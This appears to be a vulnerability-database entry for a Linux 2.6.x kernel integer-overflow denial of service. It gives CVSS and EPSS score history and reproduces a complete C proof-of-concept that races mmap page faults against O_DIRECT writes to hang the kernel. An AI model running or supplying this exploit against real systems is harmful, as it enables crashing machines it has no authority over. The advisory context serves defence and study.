CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Integer overflow in the invalidate_inode_pages2_range function in mm/truncate.c in Linux kernel 2.6.11 to 2.6.14 allows local users to cause a denial of service (hang) via 64-bit mmap calls that are not properly handled on a 32-bit system.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.9
AV:L/AC:L/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.22%
–
–
2022-02-13
–
–
3.22%
–
–
2022-04-03
–
–
3.22%
–
–
2022-09-18
–
–
3.22%
–
–
2023-03-12
–
–
–
0.04%
–
2024-02-11
–
–
–
0.04%
–
2024-02-25
–
–
–
0.04%
–
2024-04-14
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-09
–
–
–
0.04%
–
2024-10-27
–
–
–
0.04%
–
2024-12-15
–
–
–
0.04%
–
2024-12-22
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.16%
2025-03-30
–
–
–
–
0.16%
2025-04-06
–
–
–
–
0.16%
2025-04-08
–
–
–
–
0.2%
2025-04-08
–
–
–
–
0.2,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/15846/info
Linux kernel is prone to a local integer-overflow vulnerability.
A successful attack can result in a kernel crash. Arbitrary code execution may be possible as well, but this has not been confirmed.
All 2.6.x versions of the Linux kernel are considered vulnerable at the moment.
*/
#define _GNU_SOURCE
#define __USE_FILE_OFFSET64
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#define FILENAME "/tmp/bigfile"
int main(int argc, char **argv)
{
int fd, fd1, ret;
char *buf;
char wbuf[8192];
unsigned long long offset = 0xffffff000ULL;
char *p=wbuf;
fd = open(FILENAME, O_RDWR|O_CREAT|O_LARGEFILE/*|O_TRUNC*/, 0644);
if (fd < 0) {
perror(FILENAME);
return -1;
}
ftruncate64(fd, offset + 4096*4);
buf = mmap64(NULL, 4096*4, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);
if (buf == MAP_FAILED) {
perror("mmap");
return -1;
}
fd1 = open(FILENAME, O_RDWR|O_DIRECT|O_LARGEFILE, 0644);
if (fd < 0) {
perror(FILENAME);
return -1;
}
p = (char *)((unsigned long) p | 4095)+1;
if (fork()) {
while(1) {
/* map in the page */
buf[10] = 1;
}
} else {
ret = pwrite64(fd1, p, 4096, offset);
if (ret < 4096) {
printf("write: %d %p\n", ret, p);
perror("write");
return -1;
}
}
return 0;
}